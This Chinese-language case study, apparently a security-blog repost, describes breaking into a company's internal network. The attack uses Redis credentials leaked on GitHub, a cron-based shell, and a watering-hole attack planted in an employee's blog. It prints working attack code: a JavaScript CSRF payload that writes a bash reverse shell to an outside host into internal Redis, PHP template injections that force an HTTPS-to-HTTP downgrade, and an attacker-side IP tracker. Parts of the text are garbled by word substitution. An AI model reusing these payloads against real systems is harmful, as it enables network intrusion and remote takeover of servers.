打破点之Github信息泄露
根据目标企业的一些信息 搜索Github
找到一处配置信息泄露

如图所示有两个redis配置信息 上面的为外网机器 下面的为企业内网IP
试着redis写入cron来getshell外网的机器,拜会《redis配置不当可直接导致做事器被掌握》
…….
当然 顺利getshell
但是遗憾的是这个外网机器是某一个第三方VPS 而不属于该企业
也便是这个外网机器是该企业的员工即该github用户的个人测试做事器
连续翻该做事器创造有wordpress博客系统
为水坑攻击供应了环境
准备水坑攻击和CSRF攻击语句
我们假设该员工在企业办公内网访问自己的博客 这样我们直接布局一个攻击内网做事器的CSRF代码并嵌入到博客网页里
这里选择内网的redis CSRF攻击 由于redis在内网中的分布很广
而且由于redis良好的容错性 前后不管是否语句缺点 只要碰着精确的语句就会实行
因此可以利用JS进行http要求来攻击内网的redis做事
这里用multipart/form-data表单的办法来布局payload
<script> var xmlHttp; if(window.XMLHttpRequest){ xmlHttp = new XMLHttpRequest(); }else{ xmlHttp = newActiveXObject(\公众Microsoft.XMLHTTP\"大众); } var formData = new FormData(); formData.append(\公众0\"大众,\"大众authtest123\公众+\"大众\n\公众+\"大众flushall\"大众+\公众\n\"大众+\公众configset dir /var/spool/cron/\"大众+\"大众\n\"大众+\公众config set dbfilename root\"大众+\公众\n\"大众+'set1 \"大众\\n\\n/1 /bin/bash -i >& /dev/tcp/1.1.1.1/80800>&1\\n\\n\公众'+\"大众\n\"大众+\"大众save\"大众+\"大众\n\"大众+\公众quit\"大众); xmlHttp.open(\"大众POST\"大众,\"大众http://1.1.1.1:6379\公众,true); xmlHttp.send(formData);</script>
用这种办法的缘故原由是 每条redis命令间须要换行 因此用常规的post要求或在http header头上布局是没用的 换行符没故意义
如图 每条命令间都是显式的换行分割的
当这个要求包发送到redis后 会一行一行的实行 缺点的命令实行失落败 精确的命令则实行成功
以是说redis的兼容是挺强大的实行缺点后依然会考试测验实行后面的语句
不过很可惜这个博客是https的 以是无法在https站内异步要求http资源
办理https问题
多次考试测验绕过无果后 想到一个自我觉得最佳的方案
在nginx.conf上 添加http站点的设置 并指向同一个博客目录 /var/www/html/blog
然后写header.php 和footer.php
header.php
<?phpif($_SERVER['SERVER_PORT'] == 443){ if(file_get_contents(\"大众http://1.1.1.1/111.php?ip=\公众.$_SERVER['REMOTE_ADDR'])==0){ header(\公众Location:http://www.blog.com\"大众.$_SERVER['REQUEST_URI']); exit(); }}if($_SERVER['SERVER_PORT'] == 80){ if(file_get_contents(\"大众http://1.1.1.1/222.php?ip=\公众.$_SERVER['REMOTE_ADDR'])==1){ header(\"大众Location:https://www.blog.com\"大众.$_SERVER['REQUEST_URI']); exit(); }}?>
footer.php
<?phpif($_SERVER['SERVER_PORT'] == 80){ print <<<EOT<script> var xmlHttp; if(window.XMLHttpRequest){ xmlHttp = new XMLHttpRequest(); }else{ xmlHttp = newActiveXObject(\"大众Microsoft.XMLHTTP\"大众); } var formData = new FormData(); formData.append(\"大众0\公众,\"大众authtest123\"大众+\公众\\n\"大众+\公众flushall\公众+\公众\\n\公众+\公众configset dir /var/spool/cron/\"大众+\"大众\\n\"大众+\"大众config set dbfilename root\"大众+\"大众\\n\"大众+'set1 \公众\\\\n\\\\n/1 /bin/bash -i >& /dev/tcp/1.1.1.1/80800>&1\\\\n\\\\n\公众'+\"大众\\n\"大众+\"大众save\公众+\"大众\\n\"大众+\"大众quit\公众); xmlHttp.open(\公众POST\"大众,\"大众http://1.1.1.1:6379\"大众,true); xmlHttp.send(formData);</script>EOT;echo \公众<imgsrc='http://1.1.1.1/111.php?c=1&ip=\公众.$_SERVER['REMOTE_ADDR'].\"大众' border='0'style='display:none;'/>\公众;echo \公众<imgsrc='http://1.1.1.1/222.php?c=1&ip=\"大众.$_SERVER['REMOTE_ADDR'].\"大众'border='0' style='display:none;'/>\"大众;}?>
把这两个内容分别嵌入到博客模版里的header.php和footer.php文件里 以便博主访问哪个页面都能触发上面的操作
攻击者的做事器 111.php && 222.php
<?php$ip = base64_encode($_GET['ip']);$f = fopen('list2.txt','r');$contents =fread($f,filesize('list2.txt'));fclose($f);if(strpos($contents,$ip)!==false){ echo '1';}else{ if($_GET['c']==1){ $f = fopen('list2.txt','a'); fwrite($f,$ip.\"大众||\"大众); fclose($f); } echo '0';}?>
以是全体流程便是博主访问https站点,然后后端判断是要求了443端口,于是先判断客户端ip是否是第一次访问,
如果是第一次访问则302跳转到http站点,接下来后端判断要求了80端口,于是判断客户端ip是否是第一次访问,
如果不是第一次访问则302跳转到https站点,这里由于是第一次访问以是放行,然后到footer.php里,判断要求了80端口,
于是输出js攻击代码和两个img标签,利用这个img标签写入客户端ip到远程txt文件里,
用前端要求写入的缘故原由是防止博主的客户端未来得及解析js攻击代码又重新刷新了一次网页,
这样其实在上一次要求中后端已经写入了ip到远程文件里,因此下一次就不输出js攻击代码了
全体流程概括便是https 降级到http并输出js代码 然后连续访问任意页面重新升到https 往后一贯用https访问
并且确保了js代码一定会解析成功后再写入ip到远程文件
该方案还是有明显的毛病 中间会访问一次http站点 不过对付常规的程序员的安全意识来说 察觉几率不是很大
如果花点韶光精心布局的话察觉几率会更加缩小
网络内网redis做事
重返github连续搜索该企业内网redis做事
并把这些内网ip全部布局到博客ajax要求里
等待员工在企业内网访问自己的博客
……..
耐心的等待2周
成功反弹内网shell到攻击者做事器
PS:防止透露企业信息 本文章紧张以笔墨为主
安全脉搏
本文《Github & CSRF 组合入企业内网的案例》由ChaMd5安全团队原创投稿安全脉搏,作者为ChaMd5安全团队核心成员blueice,安全脉搏揭橥本文,如须要转载,请先联系安全脉搏授权;未经授权请勿转载。
【安全脉搏:分享技能、悦享品质。文章仅代表作者意见,如有不同不雅观点,欢迎添加安全脉搏微旗子暗记:SecPulse,进行互换。】